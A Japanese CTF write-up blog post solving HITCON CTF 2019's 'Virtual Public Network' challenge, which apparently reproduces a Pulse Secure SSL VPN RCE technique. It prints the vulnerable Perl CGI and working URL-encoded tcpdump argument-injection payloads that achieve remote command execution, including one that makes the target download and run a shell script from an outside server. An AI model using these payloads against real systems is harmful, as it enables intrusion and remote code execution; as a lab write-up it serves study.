こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

HITCON CTF 2019 Writeup - Virtual Public Network

Question

Vulnerable Point of Your Network :)
http://13.231.137.9

f:id:graneed:20191013050544p:plain

Solution

HTMLソースを表示する。

<!-- Hint for you :)
     <a href='diag.cgi'>diag.cgi</a>
     <a href='DSSafe.pm'>DSSafe.pm</a>  -->

diag.cgiは以下のとおり。

#!/usr/bin/perl
use lib '/var/www/html/';
use strict;

use CGI ();
use DSSafe;


sub tcpdump_options_syntax_check {
    my $options = shift;
    return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0;
    return undef;
}
 
print "Content-type: text/html\n\n";
 
my $options = CGI::param("options");
my $output = tcpdump_options_syntax_check($options);
 

# backdoor :)
my $tpl = CGI::param("tpl");
if (length $tpl > 0 && index($tpl, "..") == -1) {
    $tpl = "./tmp/" . $tpl . ".thtml";
    require($tpl);
}

※DSSafe.pmは大きいため省略。

テキストボックスに入力した文字列は、tcpdumpコマンドのオプションにセットされる。
また、tplパラメータを付与すると./tmp/配下のファイルをrequireで実行してくれる。 つまり、tcpdumpコマンドで./tmp/配下に実行させたいperlソースコードファイルを配備するのが攻略方法のようだ。

出題者がOrange Tsai (@orange_8361)氏なので、氏のBlogや登壇資料を確認する。

Orange: Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study! https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf

これだ。

まずはls -l /を実行させるため、-r'$x="ls -l /",system$x#' 2>./tmp/vvvvvvvv.thtml <をURLエンコードしてoptionsパラメータにセットする。

root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22ls%20%2Dl%20%2F%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"
total 96
-rwsr-sr-x   1 root root  8520 Oct 11 23:57 $READ_FLAG$
-r--------   1 root root    49 Oct 11 23:59 FLAG
drwxr-xr-x   2 root root  4096 Oct  2 17:11 bin
drwxr-xr-x   3 root root  4096 Oct  2 17:12 boot
drwxr-xr-x  15 root root  2980 Oct 11 19:41 dev
drwxr-xr-x  97 root root  4096 Oct 12 09:15 etc
drwxr-xr-x   4 root root  4096 Oct 11 17:21 home
lrwxrwxrwx   1 root root    31 Oct  2 17:12 initrd.img -> boot/initrd.img-4.15.0-1051-aws
lrwxrwxrwx   1 root root    31 Oct  2 17:12 initrd.img.old -> boot/initrd.img-4.15.0-1051-aws
drwxr-xr-x  20 root root  4096 Oct 11 22:11 lib
drwxr-xr-x   2 root root  4096 Oct  2 17:09 lib64
drwx------   2 root root 16384 Oct  2 17:11 lost+found
drwxr-xr-x   2 root root  4096 Oct  2 17:08 media
drwxr-xr-x   2 root root  4096 Oct  2 17:08 mnt
drwxr-xr-x   3 root root  4096 Oct 11 17:32 opt
dr-xr-xr-x 135 root root     0 Oct 11 19:41 proc
drwx------   5 root root  4096 Oct 12 09:16 root
drwxr-xr-x  25 root root   960 Oct 12 15:46 run
drwxr-xr-x   2 root root  4096 Oct  2 17:11 sbin
drwxr-xr-x   5 root root  4096 Oct 11 17:04 snap
drwxr-xr-x   2 root root  4096 Oct  2 17:08 srv
dr-xr-xr-x  13 root root     0 Oct 11 23:59 sys
drwxrwxrwt   3 root root  4096 Oct 12 20:13 tmp
drwxr-xr-x  10 root root  4096 Oct 11 21:45 usr
drwxr-xr-x  14 root root  4096 Oct 11 21:45 var
lrwxrwxrwx   1 root root    28 Oct  2 17:12 vmlinuz -> boot/vmlinuz-4.15.0-1051-aws
lrwxrwxrwx   1 root root    28 Oct  2 17:12 vmlinuz.old -> boot/vmlinuz-4.15.0-1051-aws

/$READ_FLAG$を実行すればよさそうだが、$記号を使用すると、DSSafe.pmの__parsecmd関数のチェックに引っかかるようだ。 そこで、/$READ_FLAG$を実行するシェルスクリプトをダウンロードさせてから、実行させる。

シェルスクリプトを用意して、ダウンロード用のWebサーバを立てる。

root@ip-172-31-26-179:~/tmp# echo '/\$READ_FLAG\$' > exec.sh
root@ip-172-31-26-179:~/tmp# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

curl myserver/exec.sh -o /tmp/exec.shを実行させる。

root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22curl%20myserver%2Fexec%2Esh%20%2Do%20%2Ftmp%2Fexec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"

sh /tmp/exec.shを実行させる。

root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22sh%20/tmp/exec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"
hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}

フラグゲット。